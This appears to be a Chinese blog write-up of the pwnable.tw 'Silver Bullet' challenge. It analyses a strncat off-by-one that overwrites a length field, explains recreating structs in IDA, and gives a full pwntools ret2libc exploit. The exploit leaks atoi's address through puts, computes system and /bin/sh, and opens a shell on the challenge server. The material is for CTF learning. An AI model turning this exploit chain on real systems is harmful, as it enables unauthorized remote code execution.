pwnbale-tw4

之前傻傻的按顺序来做题目导致老是碰壁,所以现在找了个简单的题目来做

Silver Bullet [200 pts]

这一题提供了lib.so.6,估计就是可以使用ret2lib之类的方法来完成的了。
学习前辈们的做法,先将当前程序运行一下先:

就是一个击杀琴酒的故事(误?)首先通过create bullet,再power up bullet,最后beat wolf,游戏逻辑大概是这样。然后发现这里会要求我们输入对子弹的描述:

这里推测这个s其实是一个结构体,因为这个s里面好像会存不同的内容,注意由于此处的s之前为DWORD,所以这里*(s+12)其实是相当于s当前偏移48个字节。那么可以还原当前的结构体为

1
2
3
4
struct bullet{
char des[48];
int length;
}

那么就在IDA中将这个结构体还原一下:

IDA中的结构体还原

1.添加结构体

打开structure窗口,里面写有可以进行的操作

在edit中选中add struct type或者直接快捷键insert

接下来把光标对准sizeof那块,按下D可以插入byte,word或者double word。

如果是数组的话,先使用右键expend type 对数据进行扩充(扩充在当前位置的上方),然后选中array将填充的额数据变为array

最后,为了将我们的结构体和指定的内容关联起来,我们找到我们需要处理的变量,并且回车进入到当前栈空间,点击变量,然后选中Edit->Struct var即可将其关联。

完成了这个关联后我们继续看我们的程序。输入字符串input_read函数会将字符串末尾的’\n’变为’\0’(人如果字符串不是太长的话),然后对字符串的长度使用strlen函数(一个超级容易出问题的函数啊。。。。)这里假如我们输入的字符串中包含’\0’,那么此时测得的strlen将会出现误差。
然后是可能会有问题的power_up函数:

大致的意思就是;限制字符串总长为48,在原先的des后面连接上新的des,同时增长length。
接下来看beat函数:

从beat函数中首先可以看出的是,这里还有一个结构体记录了wolfman的基本情况:

1
2
3
4
struct WolfMan{
char name[4] = "Gin";
int life = 0x7fffffff;
}

大概就是拿之前子弹中的字符串的长度作为power去减去此时的wolfman此时的life。

大体已经过了一遍了,然后主要有可能存在漏洞的就是那个strlen和strncat上。顺便注意,此程序的输入输出流是打开了缓存的。
后来想起来,size_t其实是无符号数那么之前出现过的read_input中的:

此时的nbyte的长度可以通过溢出变得很大!那么接下来就要思考一下如何让这个溢出变大。然后仔细检查,发现问题的关键好像在于strncat:
首先要知道,\0是不会算在strlen的长度里面的,所以如果我们第一次输入的数据就达到了40字节的话,第41字节会被置为0,然后接下来我们在power_up中就存在8可以输入的字符的大小,但是如果此时我们故意输入过于长的字符串,如’aaaaaaaa’,那么此时当进入如下的代码时

这个strncat会企图在字符串的末尾处增加’\0’,而这个增加的位置正好会将原先记录了字符串长度的值冲刷成0:

因此我们能够绕过此处的检测,输入更长的字符串,从而实现攻击。由于我们知道此时的栈中情况为

所以此时我们需要构造的栈情况为

由于我们尽可能的节约空间,使得我们有47个字节左右可以使用,除去padding,我们还剩下40个字节,相当于可以插入10个地址。那么我们首先要确定当前运行时候的动态链接库中函数映射到内存中的地址,所以此时我们可以先通过跳转到puts函数中,并且将atoi的函数地址泄漏出来,然后通过相对位置的计算,计算出system的地址,再次跳转并且执行/bin/sh(写入栈中)。
那么首先我们找到puts的地址:

此地址为0x080484A8,然后是输出此时的atoi的地址,为:

地址为0x0804AFF8区别于puts,这部分内容是写在数据段的,也就是"会在调用一次后就被修改内容的地址位置",由于atoi执行过,此时的atoi就会泄漏自己的地址。然后我们在libc_32.so.6中找到这个函数的位置:

以及system的位置:

计算可以知道两者的偏移差距为system:0x0003A940 - atoi:0x0002D050,也就是我们泄漏的地址addr -0x0002d050 + 0x0003a940 = 当前的system的地址。
然后花了好久思考如何凑个/bin/sh出来,因为我在IDA的string中没有找到这个变量,然后孤注一掷,在debian里面用了strings查看,居然找到了?!那这个是怎么回事?点开IDA发现.rodata中有一部分内被识别成了function…将其undefined之后就会变回字符串,最后找到了/bin/sh的地址为00158E8B.
突然意识到,还是得分两步来实现这个过程:首先第一次,使用puts将地址泄漏之后,我们还得回到原先的main函数的位置,让整个函数重新执行一遍,并且在这一次中实现system的跳转,才有可能实现我们的攻击。
第一次构造的栈为

第二次构造的栈为

构造如上栈,进行进攻。
发现这种攻击好难写。。。。非常长还容易写错。。调试好久才调试通过:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#   -*- coding:utf-8 -*-
#!usr/bing.env python

from pwn import *

DEBUG = 0
if DEBUG:
context.log_level='debug'
context.terminal = ['tmux', 'splitw','-h']
ph = process("./silver_bullet")
# gdb.attach(ph,execute = "b *0x0804892c")
gdb.attach(ph,execute = "b *0x08048A18")
else:
ph = remote("139.162.123.119",'10103')


paddings = 'a'*46
systemAddr = 0x0003a940
shAddr = 0x00158E8B
atoiAddr = 0x0002d050
mainAddr = 0x08048954

def getPwn():
""" get bug to control stack
"""
print "[*] =============== get pwn"
ph.recvuntil(":")
ph.send("1\n")
print ph.recv(1024)

ph.send(paddings+'\0')
ph.recvuntil(":")
ph.send("2\n")
print ph.recv(1024)
ph.send("a"*2 +'\0')
# then we begin to pwn it
# because of our pwn, there will receive an error message,so we should ingore it
print ph.recv(1024)
ph.send("2\n")
print ph.recv(1024)

def leakSystem():
""" leak system and /bin/sh addr
stack as
------------------------------------------
|puts addr| main addr | atoi .got.plt addr
------------------------------------------
"""
ph.send(p32(0x7fffffff)+ 'a'*3 + p32(0x080484A8)+p32(mainAddr)+p32(0x0804AFF8))

print ph.recv(1024)

# try to pwn!
ph.send("3\n")
sleep(1)
print ph.recvuntil("Oh ! You win !!\n")
addr = ph.recv(4)
print addr
addr = u32(addr[:4])
print "now the address is %x"%addr
# ph.interactive()
return addr

def getShell(atoiRealAddr):
""" because get atoi address,we can really pwn the stack
"""
sysReal = systemAddr + atoiRealAddr - atoiAddr
shReal = shAddr + atoiRealAddr - atoiAddr
ph.send(p32(0x7fffffff) + 'a'*3 + p32(sysReal) + 'a'*4 + p32(shReal))
print ph.recv(1024)
# try to pwn!
ph.send("3\n")
sleep(1)
print ph.recvuntil("Oh ! You win !!\n")


if __name__ == "__main__":
getPwn()
atoiRealAddr = leakSystem()
getPwn()
getShell(atoiRealAddr)

ph.interactive()

末尾附上strncat的代码(?)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
/***
*strncat.c - append n chars of string to new string
*
* Copyright (c) Microsoft Corporation. All rights reserved.
*
*Purpose:
* defines strncat() - appends n characters of string onto
* end of other string
*
*******************************************************************************/

#include <cruntime.h>
#include <string.h>

/***
*char *strncat(front, back, count) - append count chars of back onto front
*
*Purpose:
* Appends at most count characters of the string back onto the
* end of front, and ALWAYS terminates with a null character.
* If count is greater than the length of back, the length of back
* is used instead. (Unlike strncpy, this routine does not pad out
* to count characters).
*
*Entry:
* char *front - string to append onto
* char *back - string to append
* unsigned count - count of max characters to append
*
*Exit:
* returns a pointer to string appended onto (front).
*
*Uses:
*
*Exceptions:
*
*******************************************************************************/

char * __cdecl strncat (
char * front,
const char * back,
size_t count
)
{
char *start = front;

while (*front++)
;
front--;

while (count--)
if (!(*front++ = *back++))
return(start);

*front = '\0';
return(start);
}